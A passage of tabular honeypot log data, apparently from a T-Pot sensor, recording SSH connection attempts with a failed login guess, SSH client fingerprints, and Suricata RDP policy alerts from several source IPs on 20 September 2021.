29029	118.70.175.209	109.199.241.180	Cowrie	2021-09-20 14:21:40.801936+03	2021-09-20 14:30:03.602526+03	{"_id": "FQbwAnwBvYTbRNuEsjIB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "118.70.175.209", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "118.70.175.209", "eventid": "cowrie.login.failed", "message": "login attempt [behrooz/behrooz] failed", "session": "a794a79cde5d", "@version": "1", "password": "behrooz", "username": "behrooz", "timestamp": "2021-09-20T11:21:40.801936Z", "@timestamp": "2021-09-20T11:21:40.801Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29030	118.70.175.209	109.199.241.180	Cowrie	2021-09-20 14:21:42.019236+03	2021-09-20 14:30:03.604523+03	{"_id": "FwbwAnwBvYTbRNuEtTLq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "118.70.175.209", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "118.70.175.209", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "a794a79cde5d", "@version": "1", "duration": 2.386747121810913, "timestamp": "2021-09-20T11:21:42.019236Z", "@timestamp": "2021-09-20T11:21:42.019Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29033	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:21:39.633385+03	2021-09-20 14:30:03.608523+03	{"_id": "CQbwAnwBvYTbRNuErTIf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "118.70.175.209", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42040, "timestamp": "2021-09-20T11:21:39.633385", "@timestamp": "2021-09-20T11:21:39.633Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29034	87.251.67.120	109.199.241.180	Suricata	2021-09-20 14:21:57.888473+03	2021-09-20 14:30:03.609523+03	{"_id": "OgbwAnwBvYTbRNuE9jIj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:21:57.665056+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1073679258953184, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 28940, "dest_port": 3389, "timestamp": "2021-09-20T11:21:57.888473Z", "@timestamp": "2021-09-20T11:21:57.888Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
29035	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:21:57.810391+03	2021-09-20 14:30:03.611524+03	{"_id": "OwbwAnwBvYTbRNuE9jIj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:21:57.665056+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "87.251.67.120", "flow_id": 1073679258953184, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 28940, "timestamp": "2021-09-20T11:21:57.810391Z", "@timestamp": "2021-09-20T11:21:57.810Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
29036	87.251.67.120	109.199.241.180	Suricata	2021-09-20 14:21:57.743871+03	2021-09-20 14:30:03.612524+03	{"_id": "PwbwAnwBvYTbRNuE9jJR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:21:57.665056+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1073679258953184, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 28940, "dest_port": 3389, "timestamp": "2021-09-20T11:21:57.743871Z", "@timestamp": "2021-09-20T11:21:57.743Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
29037	87.251.67.120	109.199.241.180	Fatt	2021-09-20 14:21:57.743871+03	2021-09-20 14:30:03.613526+03	{"_id": "QAbwAnwBvYTbRNuE9zJf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "src_ip": "87.251.67.120", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 28940, "dest_port": 3389, "timestamp": "2021-09-20T11:21:57.743871", "@timestamp": "2021-09-20T11:21:57.743Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
29039	118.70.175.209	109.199.241.180	Cowrie	2021-09-20 14:21:39.632753+03	2021-09-20 14:30:03.616523+03	{"_id": "EAbwAnwBvYTbRNuErjIY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "118.70.175.209", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "118.70.175.209", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "a794a79cde5d", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:21:39.632753Z", "@timestamp": "2021-09-20T11:21:39.632Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29040	118.70.175.209	109.199.241.180	Cowrie	2021-09-20 14:21:39.848576+03	2021-09-20 14:30:03.617524+03	{"_id": "EQbwAnwBvYTbRNuErjIY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "118.70.175.209", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "118.70.175.209", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "a794a79cde5d", "@version": "1", "timestamp": "2021-09-20T11:21:39.848576Z", "@timestamp": "2021-09-20T11:21:39.848Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29041	87.251.67.120	109.199.241.180	Suricata	2021-09-20 14:21:57.743871+03	2021-09-20 14:30:03.619524+03	{"_id": "PAbwAnwBvYTbRNuE9jIj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:21:57.665056+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1073679258953184, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 28940, "dest_port": 3389, "timestamp": "2021-09-20T11:21:57.743871Z", "@timestamp": "2021-09-20T11:21:57.743Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
29042	87.251.67.120	109.199.241.180	Suricata	2021-09-20 14:21:57.888473+03	2021-09-20 14:30:03.621524+03	{"_id": "PQbwAnwBvYTbRNuE9jIj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:21:57.665056+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1073679258953184, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 28940, "dest_port": 3389, "timestamp": "2021-09-20T11:21:57.888473Z", "@timestamp": "2021-09-20T11:21:57.888Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
29043	118.70.175.209	109.199.241.180	Suricata	2021-09-20 14:21:39.847909+03	2021-09-20 14:30:03.622524+03	{"_id": "EgbwAnwBvYTbRNuErzLL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "118.70.175.209", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "118.70.175.209", "dest_ip": "192.168.20.116", "flow_id": 1205571260992394, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42040, "dest_port": 22, "timestamp": "2021-09-20T11:21:39.847909Z", "@timestamp": "2021-09-20T11:21:39.847Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29044	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:22:45.997511+03	2021-09-20 14:30:03.623524+03	{"_id": "5QbxAnwBvYTbRNuEsDIB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 183.17.231.81:52468 (192.168.176.2:22) [session: ba18192f6734]", "session": "ba18192f6734", "@version": "1", "protocol": "ssh", "src_port": 52468, "dest_port": 22, "timestamp": "2021-09-20T11:22:45.997511Z", "@timestamp": "2021-09-20T11:22:45.997Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29045	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:22:46.000504+03	2021-09-20 14:30:03.625524+03	{"_id": "5gbxAnwBvYTbRNuEsDIB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "ba18192f6734", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:22:46.000504Z", "@timestamp": "2021-09-20T11:22:46.000Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29046	183.17.231.81	109.199.241.180	Suricata	2021-09-20 14:22:46.296708+03	2021-09-20 14:30:03.626526+03	{"_id": "5wbxAnwBvYTbRNuEsTK-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "183.17.231.81", "dest_ip": "192.168.20.116", "flow_id": 486660311986137, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52468, "dest_port": 22, "timestamp": "2021-09-20T11:22:46.296708Z", "@timestamp": "2021-09-20T11:22:46.296Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29047	183.17.231.81	109.199.241.180	Fatt	2021-09-20 14:22:46.296887+03	2021-09-20 14:30:03.627524+03	{"_id": "6gbxAnwBvYTbRNuEsjL1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "183.17.231.81", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 52468, "dest_port": 22, "timestamp": "2021-09-20T11:22:46.296887", "@timestamp": "2021-09-20T11:22:46.296Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29048	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:22:46.297505+03	2021-09-20 14:30:03.628524+03	{"_id": "7QbxAnwBvYTbRNuEszLq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "ba18192f6734", "@version": "1", "timestamp": "2021-09-20T11:22:46.297505Z", "@timestamp": "2021-09-20T11:22:46.297Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 